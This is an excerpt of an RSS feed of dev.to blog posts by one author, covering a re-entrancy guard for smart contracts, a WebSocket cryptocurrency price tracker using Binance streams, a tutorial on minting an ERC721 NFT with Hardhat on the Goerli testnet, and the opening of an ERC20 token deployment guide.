&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract ReEntrancyLock {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OpenZeppelin has a ready-made implementation of a ReentracyGuard that can be easily integrated into your projects. One can clearly see that detailed attention and care must be put into building fault-tolerant applications that users can commit their precious funds into. Stay safe!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Using WebSocket to build a Real-time Cryptocurrency Tracker</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Wed, 15 Mar 2023 10:25:03 +0000</pubDate>
      <link>https://dev.to/imohgenius/using-websocket-to-build-a-real-time-cryptocurrency-tracker-453j</link>
      <guid>https://dev.to/imohgenius/using-websocket-to-build-a-real-time-cryptocurrency-tracker-453j</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ldkzpsE8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/okyw4c1ant74o0np57x0.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ldkzpsE8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/okyw4c1ant74o0np57x0.jpeg" alt="Cryptocurrency Tracker" width="880" height="462"&gt;&lt;/a&gt;&lt;br&gt;
In building web applications, the underlying communication architecture plays a vital role in determining the effectiveness of its functionalities. WebSocket is a TCP/IP communication protocol that allows for a consistent bidirectional(two-way )exchange between the client and the server.&lt;/p&gt;

&lt;p&gt;This is in stark contrast to the traditional HTTP protocol that allows for a oneway call and response to the server, there are use cases for certain solutions where data on the server side changes rapidly, for these changes to be appropriately reflected, repeated calls to the server has to be made. This method clearly proves to be inefficient in cases that require fast-changing data such as live video streaming, stock, cryptocurrency trading, etc, WebSocket is the best technology to be implemented.&lt;/p&gt;

&lt;p&gt;To demonstrate this, we'll implement the WebSocket API to build a real-time Cryptocurrency Tracker. For real-time data around the prices of certain cryptocurrencies, we would be using the &lt;a href="https://binance-docs.github.io/apidocs/websocket_api/en/#change-log"&gt;Binance&lt;/a&gt; WebSocket API.&lt;/p&gt;
&lt;h3&gt;
  
  
  Single Currency Example
&lt;/h3&gt;

&lt;p&gt;After initiating the basic variables, we use the WebSocket address to create the connection, the &lt;em&gt;onmessage&lt;/em&gt; function listens for a message event which is then parsed to get our price property.&lt;/p&gt;

&lt;p&gt;Here is the code sample to get the price stream for &lt;em&gt;ETH&lt;/em&gt; to &lt;em&gt;USD&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//Web socket ethusd stream
let ws= new WebSocket('wss://stream.binance.com:9443/ws/ethusdt@trade');

let ethUsdt= document.getElementById('eth');
let lastPrice = null;

let price= null;

//Recieves a message event and parses it as a JSON object
ws.onmessage= (event) =&amp;gt;{
    let eventData = JSON.parse(event.data);

        price=parseFloat(eventData.p).toFixed(2); //parses the price property and rounds it up to two decimal places

    ethUsdt.innerText=price;
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here it is implemented on Codepen&lt;/p&gt;

&lt;p&gt;&lt;iframe height="600" src="https://codepen.io/MichaelEnigma/embed/BaOrPKV?height=600&amp;amp;default-tab=result&amp;amp;embed-version=2"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;What of scenarios were we are watching for multiple currencies? From the Binance API guide, the WebSocket address will take this form,&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;wss://stream.binance.us:9443/stream?streams=&amp;lt;streamName1&amp;gt;/&amp;lt;streamName2&amp;gt;/&amp;lt;streamName3&amp;gt;&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;where each stream represents a currency pair.&lt;/p&gt;

&lt;h3&gt;
  
  
  Full Dashboard Integration
&lt;/h3&gt;

&lt;p&gt;We will use a dashboard template to display the price stream for Bitcoin, Ethereum, Ripple, and Litecoin.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--g35bZNmd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1678866776191/a8109b5d-d133-40aa-ac12-e0066a84be80.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--g35bZNmd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1678866776191/a8109b5d-d133-40aa-ac12-e0066a84be80.png" alt="Crypto Dashboard" width="880" height="402"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The WebSocket connection now streams in the message events for the various currency pairs, we'll create conditions to assign the proper currency events to their respective price variables.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//Binance multicurrency stream
let ws= new WebSocket('wss://stream.binance.com/stream?streams=ethusdt@trade/btcusdt@trade/xrpusdt@trade/ltcusdt@trade');
// we intialize the variables to hold our prices
let ethUsdt= document.getElementById('eth');
let lastPrice = null;
let btcUsdt= document.getElementById('btc');
let btclastPrice = null;
let xrpUsdt= document.getElementById('xrp');
let xrplastPrice = null;
let ltcUsdt= document.getElementById('ltc');
let ltclastPrice = null;
let price= null;
let btcprice= null;
let xrpprice= null;
let ltcprice= null;
let collection = document.getElementsByClassName("bi");

//Recieves a message event and parses it as a JSON object
ws.onmessage= (event) =&amp;gt;{
    let eventData = JSON.parse(event.data);
// these conditions assigns the various currency prices based on the currency pair
    if (eventData.stream=='ethusdt@trade'){
        price=parseFloat(eventData.data.p).toFixed(2);

    }
    else if(eventData.stream=='btcusdt@trade'){
        btcprice=parseFloat(eventData.data.p).toFixed(2);

    }
    else if(eventData.stream=='xrpusdt@trade'){
        xrpprice=parseFloat(eventData.data.p).toFixed(3);

    }
    else if(eventData.stream=='ltcusdt@trade'){
        ltcprice=parseFloat(eventData.data.p).toFixed(2);

    }

    ethUsdt.innerText=price;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For monitoring the changing prices on the dashboard, we'll use &lt;a href="https://fontawesome.com/"&gt;Font Awesome&lt;/a&gt; caret up and down icons to give visual indicators about whether the value of the prices is going up or down, an &lt;em&gt;&lt;/em&gt; element whose classes are dynamically changed will be used for this purpose.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div class="row m-t-25"&amp;gt;
                &amp;lt;div class="col-lg-3"&amp;gt;
                    &amp;lt;div class="card currency-card-rounded"&amp;gt;
                        &amp;lt;div class="card-body rounded bitcoin"&amp;gt;
                            &amp;lt;div class="currency-card--icon pull-right"&amp;gt;
                                &amp;lt;i class="cc BTC-alt" title="BTC"&amp;gt;&amp;lt;/i&amp;gt;
                            &amp;lt;/div&amp;gt;
                            &amp;lt;h4&amp;gt;Bitcoin&amp;lt;/h4&amp;gt;
                            &amp;lt;h2&amp;gt;
                                $&amp;lt;span id="btc"&amp;gt;1.765&amp;lt;/span&amp;gt; &amp;lt;i class="bi "&amp;gt;&amp;lt;/i&amp;gt;
                            &amp;lt;/h2&amp;gt;

                        &amp;lt;/div&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;div class="col-lg-3"&amp;gt;
                    &amp;lt;div class="card currency-card-rounded"&amp;gt;
                        &amp;lt;div class="card-body rounded ethereum"&amp;gt;
                            &amp;lt;div class="currency-card--icon pull-right"&amp;gt;
                                &amp;lt;i class="cc ETH-alt" title="ETH"&amp;gt;&amp;lt;/i&amp;gt;
                            &amp;lt;/div&amp;gt;
                            &amp;lt;h4&amp;gt;Ethereum&amp;lt;/h4&amp;gt;
                            &amp;lt;h2&amp;gt;
                                $&amp;lt;span id="eth"&amp;gt;1.765&amp;lt;/span&amp;gt; &amp;lt;i class="bi "&amp;gt;&amp;lt;/i&amp;gt;
                            &amp;lt;/h2&amp;gt;

                        &amp;lt;/div&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;div class="col-lg-3"&amp;gt;
                    &amp;lt;div class="card currency-card-rounded"&amp;gt;
                        &amp;lt;div class="card-body rounded ripple"&amp;gt;
                            &amp;lt;div class="currency-card--icon pull-right"&amp;gt;
                                &amp;lt;i class="cc XRP-alt" title="XRP"&amp;gt;&amp;lt;/i&amp;gt;
                            &amp;lt;/div&amp;gt;
                            &amp;lt;h4&amp;gt;Ripple&amp;lt;/h4&amp;gt;
                            &amp;lt;h2&amp;gt;
                                $&amp;lt;span id="xrp"&amp;gt;1.765&amp;lt;/span&amp;gt; &amp;lt;i class="bi "&amp;gt;&amp;lt;/i&amp;gt;
                            &amp;lt;/h2&amp;gt;

                        &amp;lt;/div&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;div class="col-lg-3"&amp;gt;
                    &amp;lt;div class="card currency-card-rounded"&amp;gt;
                        &amp;lt;div class="card-body rounded litecoin"&amp;gt;
                            &amp;lt;div class="currency-card--icon pull-right"&amp;gt;
                                &amp;lt;i class="cc LTC-alt" title="LTC"&amp;gt;&amp;lt;/i&amp;gt;
                            &amp;lt;/div&amp;gt;
                            &amp;lt;h4&amp;gt;Litecoin&amp;lt;/h4&amp;gt;
                            &amp;lt;h2&amp;gt;
                                $&amp;lt;span id="ltc"&amp;gt;1.765&amp;lt;/span&amp;gt; &amp;lt;i class="bi "&amp;gt;&amp;lt;/i&amp;gt;
                            &amp;lt;/h2&amp;gt;

                        &amp;lt;/div&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We'll then include the rest of the Javascript code that allows for this functionality.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
// let ws= new WebSocket('wss://stream.binance.com:9443/ws/ethusdt@trade');
let ws= new WebSocket('wss://stream.binance.com/stream?streams=ethusdt@trade/btcusdt@trade/xrpusdt@trade/ltcusdt@trade');

let ethUsdt= document.getElementById('eth');
let lastPrice = null;
let btcUsdt= document.getElementById('btc');
let btclastPrice = null;
let xrpUsdt= document.getElementById('xrp');
let xrplastPrice = null;
let ltcUsdt= document.getElementById('ltc');
let ltclastPrice = null;
let price= null;
let btcprice= null;
let xrpprice= null;
let ltcprice= null;
let collection = document.getElementsByClassName("bi"); //holds the array of &amp;lt;i&amp;gt; elements

ws.onmessage= (event) =&amp;gt;{
    let eventData = JSON.parse(event.data);
    if (eventData.stream=='ethusdt@trade'){
        price=parseFloat(eventData.data.p).toFixed(2);

    }
    else if(eventData.stream=='btcusdt@trade'){
        btcprice=parseFloat(eventData.data.p).toFixed(2);

    }
    else if(eventData.stream=='xrpusdt@trade'){
        xrpprice=parseFloat(eventData.data.p).toFixed(3);

    }
    else if(eventData.stream=='ltcusdt@trade'){
        ltcprice=parseFloat(eventData.data.p).toFixed(2);

    }

    ethUsdt.innerText=price;

    // conditions to add the caret icons
   if (price&amp;gt;lastPrice){
    collection[0].classList.remove("bi-caret-down-fill");
    collection[0].classList.add( "bi-caret-up-fill" );
    collection[0].style.color='green';
   }
   else if (price&amp;lt;lastPrice){
    collection[0].classList.remove("bi-caret-up-fill");
    collection[0].classList.add( "bi-caret-down-fill" );
    collection[0].style.color='red';
   }

    lastPrice=price; // after the conditons are fulfilled the value of the lastprice is changed to the current price

    btcUsdt.innerText=btcprice;

    if (btcprice&amp;gt;btclastPrice){
        collection[1].classList.remove("bi-caret-down-fill");
        collection[1].classList.add( "bi-caret-up-fill" );
        collection[1].style.color='green';
       }
       else if (btcprice&amp;lt;btclastPrice){
        collection[1].classList.remove("bi-caret-up-fill");
        collection[1].classList.add( "bi-caret-down-fill" );
        collection[1].style.color='red';
       }    

    btclastPrice=btcprice;

    xrpUsdt.innerText=xrpprice;

    if (xrpprice&amp;gt;xrplastPrice){
        collection[2].classList.remove("bi-caret-down-fill");
        collection[2].classList.add( "bi-caret-up-fill" );
        collection[2].style.color='green';
       }
       else if (xrpprice&amp;lt;xrplastPrice){
        collection[2].classList.remove("bi-caret-up-fill");
        collection[2].classList.add( "bi-caret-down-fill" );
        collection[2].style.color='red';
       }

    xrplastPrice=xrpprice;

    ltcUsdt.innerText=ltcprice;

    if (ltcprice&amp;gt;ltclastPrice){
        collection[3].classList.remove("bi-caret-down-fill");
        collection[3].classList.add( "bi-caret-up-fill" );
        collection[3].style.color='green';
       }
       else if (ltcprice&amp;lt;ltclastPrice){
        collection[3].classList.remove("bi-caret-up-fill");
        collection[3].classList.add( "bi-caret-down-fill" );
        collection[3].style.color='red';
       }

    ltclastPrice=ltcprice;

}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And voila! we have our real-time dashboard, the link to the full code is in this &lt;a href="https://github.com/MicahelE/CoinWatcher"&gt;repo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--7ZZbecP6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1678875724346/92ca4aad-6f48-4094-a2af-93d9d8539e9e.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--7ZZbecP6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1678875724346/92ca4aad-6f48-4094-a2af-93d9d8539e9e.gif" alt="CoinWatcher" width="880" height="467"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Awesome! We have demonstrated the practical use of WebSockets in building a real-time cryptocurrency dashboard, what project ideas do you have that this technology will prove to be valuable? Let me know in the comments section.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How to Create an NFT Token</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Mon, 27 Feb 2023 15:36:47 +0000</pubDate>
      <link>https://dev.to/imohgenius/how-to-create-an-nft-token-e4l</link>
      <guid>https://dev.to/imohgenius/how-to-create-an-nft-token-e4l</guid>
      <description>&lt;p&gt;NFT(Non-Fungible Tokens) are tokens used to represent digital assets with inherent properties that are unique and that cannot be exchanged or interchanged(fungible), in many cases, they are used to represent items like images, art, etc. The Ethereum blockchain has a unique standard called the ERC721 for defining the functionality of these tokens. We will follow the template pattern of using Hardhat, Metamask, Alchemy, etc to build our smart contract just like in our other solidity &lt;a href="https://dev.to/imohgenius/deploying-a-custom-created-cryptocurrency-on-the-ethereum-network-dh1-temp-slug-4378925"&gt;tutorials&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Project Setup
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir MikNFT
cd MikNFT
npm init -y

npm install --save-dev hardhat
npx hardhat

npm i @openzeppelin/contracts

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code below imports the ERC721 library and inherits all the function implementation for ERC721, it also uses the Counters library which will be used for counting the number of tokens and giving each a unique positive integer value.&lt;/p&gt;

&lt;p&gt;The contract is initialized with the name and symbol for the token the &lt;em&gt;mintNFT&lt;/em&gt; function takes into two parameters the &lt;em&gt;address&lt;/em&gt; where the NFT will be sent and the &lt;em&gt;tokenURI&lt;/em&gt; which gives the metadata description of the token, it then returns the unique integer id of the token&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract MikNFT is ERC721URIStorage {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    constructor() ERC721("MikNFT", "NFT") {}

    function mintNFT(address recipient, string memory tokenURI)
        public

        returns (uint256)
    {
        _tokenIds.increment();

        uint256 newItemId = _tokenIds.current();
        _mint(recipient, newItemId);
        _setTokenURI(newItemId, tokenURI);

        return newItemId;
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;after it has successfully complied with this command,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npx hardhat compile

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;we'll install the &lt;em&gt;dotenv&lt;/em&gt; package to enable us to interact with our environment variables. The environment variables that will be used are the wallet private key, &lt;em&gt;API_URL,&lt;/em&gt; and &lt;em&gt;API_KEY,&lt;/em&gt; these will be kept in a &lt;em&gt;.env&lt;/em&gt; file that will be added to the project's &lt;em&gt;.gitignore&lt;/em&gt; list as these variables are quite sensitive and are not to be uploaded to a public repository.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install dotenv --save


API_URL = "https://eth-goerli.g.alchemy.com/v2/api-key"
PRIVATE_KEY = "metamask-private-key"
API_KEY = "api-key"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We'll go straight ahead to create our &lt;em&gt;hardhat.config.js&lt;/em&gt; in the root folder and &lt;em&gt;deploy.js&lt;/em&gt; in the scripts folder respectively, the &lt;em&gt;deploy.js&lt;/em&gt; script uses the &lt;em&gt;Ethers.js&lt;/em&gt; library to handle the deployment of our smart contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;require('dotenv').config();
require("@nomiclabs/hardhat-ethers");

const { API_URL, PRIVATE_KEY } = process.env;

module.exports = {
  solidity: "0.8.17",
  defaultNetwork: "goerli",
  networks: {
    hardhat: {},
    goerli: {
       url: API_URL,
       accounts: [`0x${PRIVATE_KEY}`]
    }
 },
};



async function main() {

// Grab Contract Factory
  const MikNFT = await ethers.getContractFactory("MikNFT");

     // Start deployment, returning a promise that resolves to a contract object
  const mikNFT= await MikNFT.deploy(); // Instance of the contract 

  console.log(
    "Contract deployed to address:", mikNFT.address );
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main()
.then(()=&amp;gt; process.exit(0))
.catch((error) =&amp;gt; {
  console.error(error);
  process.exit(1);
});

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's deploy the smart contract on the goerli testnet&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npx hardhat run scripts/deploy.js --network goerli

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At the end of the deployment, the contract address will be shown, this is what we'll use to check the details of our transaction on goerli etherscan&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Contract deployed to address: 0x52Fb82C6D01F4077F18508C1ab59560c651A9099

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--BiFYNf8p--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1677502583866/aef4ae65-baa1-4ae9-8b6f-8c75fcf82fac.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BiFYNf8p--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1677502583866/aef4ae65-baa1-4ae9-8b6f-8c75fcf82fac.png" alt="" width="880" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You have successfully deployed your NFT smart contract! The next step is to use the contract to mint an NFT&lt;/p&gt;

&lt;h3&gt;
  
  
  Minting NFT
&lt;/h3&gt;

&lt;p&gt;So we will decide what we want to put up as an NFT, I 'dreamed' up a really cool art piece using an AI image generation &lt;a href="https://dream.ai/"&gt;tool&lt;/a&gt; called Wombo, you can check it out.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lQX2sLYi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1677510545877/8f7846e1-dabc-403b-93a7-29759a5d5a2d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lQX2sLYi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1677510545877/8f7846e1-dabc-403b-93a7-29759a5d5a2d.png" alt="" width="300" height="490"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The primary way to store NFTs is on IPFS(Interplanetary File System) platforms which are decentralized file-sharing networks for keeping data. We'll use &lt;a href="https://www.pinata.cloud/"&gt;Pinata&lt;/a&gt; for our example. After creating an account on the platform, we'll upload our image and copy the hash code or content identifier that was generated from the successful upload, the address of the image will be represented like this &lt;a href="https://gateway.pinata.cloud/ipfs/"&gt;https://gateway.pinata.cloud/ipfs/&lt;/a&gt;&lt;a href="https://gateway.pinata.cloud/ipfs/QmarPqdEuzh5RsWpyH2hZ3qSXBCzC5RyK3ZHnFkAsk7u2f"&gt;&amp;lt;&lt;/a&gt;hash-code&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--qyCF1NW8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1677505110141/ffd9c678-bd89-4234-89ee-4db404ab322d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qyCF1NW8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1677505110141/ffd9c678-bd89-4234-89ee-4db404ab322d.png" alt="" width="880" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then go ahead to create a nft-metadata.json file that provides all the vital attributes for your NFT, make sure the image points to the address of the image, and when this is done make sure this is also uploaded to Pinata and the URL address noted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
    "attributes" : [ {
      "trait_type" : "Background",
      "value" : "forest"
    }, {
      "trait_type" : "flag",
      "value" : "Nigeria"
    } ],
    "description" : "car moving in a country background, flag seen in the skyline, locally dressed man",
    "image" : "https://gateway.pinata.cloud/ipfs/Qmcp8yj1rBBSJAHmUq3rd3oYF5Uhy2ftBLGLGG4SpPSvzP",
    "name" : "Nairaland"
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;we then create a mint-nft.js file that will execute the minting of our NFT, we'll use the contracts' ABI for that, the ABI is a json formatted interface used to interact with the contract, it is automatically generated by hardhat when the contract is compiled, the ABI for this contract is generated in this location.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const contract = require("../artifacts/contracts/MikNFT.sol/MikNFT.json");

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the contract will use the ether library to connect with our node provider using our API key earlier defined in our .env file, it will also use the wallet's private key, the contract's address and the contract's abi to define the contract&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;require('dotenv').config();
const { AlchemyProvider } = require('@ethersproject/providers');
const ethers= require('ethers');

// Get Alchemy API key
const API_KEY= process.env.API_KEY;
// Define an Alchemy Provider
const provider= new ethers.providers.AlchemyProvider('goerli', API_KEY);

const privateKey=process.env.PRIVATE_KEY;
const signer= new ethers.Wallet(privateKey, provider);
// Get contract ABI and address
const abi=contract.abi;
const contractAddress='0x52fb82c6d01f4077f18508c1ab59560c651a9099';

// Create a contract instance
const myNftContract= new ethers.Contract(contractAddress, abi, signer);

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the &lt;em&gt;tokenURI&lt;/em&gt; for our NFT image will now be used and defined in our script, this is how the final version of our &lt;em&gt;mint-nft.js&lt;/em&gt; script will look like&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const contract = require("../artifacts/contracts/MikNFT.sol/MikNFT.json");
require('dotenv').config();
const { AlchemyProvider } = require('@ethersproject/providers');
const ethers= require('ethers');

// Get Alchemy API key
const API_KEY= process.env.API_KEY;
// Define an Alchemy Provider
const provider= new ethers.providers.AlchemyProvider('goerli', API_KEY);

const privateKey=process.env.PRIVATE_KEY;
const signer= new ethers.Wallet(privateKey, provider);

// Get contract ABI and address
const abi=contract.abi;
const contractAddress='0x52fb82c6d01f4077f18508c1ab59560c651a9099';

// Create a contract instance
const myNftContract= new ethers.Contract(contractAddress, abi, signer);

const tokenUri= "https://gateway.pinata.cloud/ipfs/QmQRJK9mMtueyJN9APfQGCdsT1pHELZ9dKN1mcjaRV8qHo";

// Call mintNFT function
const mintNFT = async () =&amp;gt; {
    let nftTxn = await myNftContract.mintNFT(signer.address, tokenUri)
    await nftTxn.wait()
    console.log(`NFT Minted! Check it out at: https://goerli.etherscan.io/tx/${nftTxn.hash}`)
}

mintNFT()
    .then(() =&amp;gt; process.exit(0))
    .catch((error) =&amp;gt; {
        console.error(error);
        process.exit(1);
    });

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;run the below command to execute our script&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;node scripts/mint-nft.js

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our output will be like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NFT Minted! Check it out at: https://goerli.etherscan.io/tx/0x907e775d3b45507eb17af5bd97b65c58457b7354354157c7ef148e32f2f8f31c

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Awesome! what cool NFT project can you spin-off? Happy NFTing!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Deploying a custom-created cryptocurrency on the Ethereum network.</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Sat, 11 Feb 2023 20:44:22 +0000</pubDate>
      <link>https://dev.to/imohgenius/deploying-a-custom-created-cryptocurrency-on-the-ethereum-network-f9h</link>
      <guid>https://dev.to/imohgenius/deploying-a-custom-created-cryptocurrency-on-the-ethereum-network-f9h</guid>
      <description>&lt;p&gt;The advent of web3 has brought with it an ability to design tokens that act as a store of value or as virtual concurrency on the blockchain, the ERC20 is an Ethereum standard for creating fungible tokens, it provides the standard functionalities that should be incorporated to make it follow best practices. We'll be looking at how to set up and deploy a custom coin with the necessary attributes of an ERC20 token.&lt;/p&gt;

&lt;p&gt;To get this done we'll need a decentralized wallet like Metamask and a web3 node provider like Alchemy. An Ethereum development environment like Truffle or hardhat plays an essential role in producing a smooth code-building experience we'll use Hardhat to write, configure and deploy our solidity code for this exercise.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Initializing our project&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Make sure you have Node js installed on the system, create and navigate to the token project folder and run npm init to initialize the project&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir PokeCoin
cd PokeCoin
npm init -y

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Install and create hardhat project
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install --save-dev hardhat
npx hardhat

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A welcome message and some options will be shown, go ahead to select ' Create a JavaScript Project'. Delete the default &lt;em&gt;Lock.sol&lt;/em&gt; and &lt;em&gt;Lock.js&lt;/em&gt; files in the contracts and test folders respectively.&lt;/p&gt;

&lt;p&gt;Install the &lt;em&gt;openzeppelin&lt;/em&gt; library with the below command to access the ERC20 standard that will be imported to create our token&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm i @openzeppelin/contracts

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



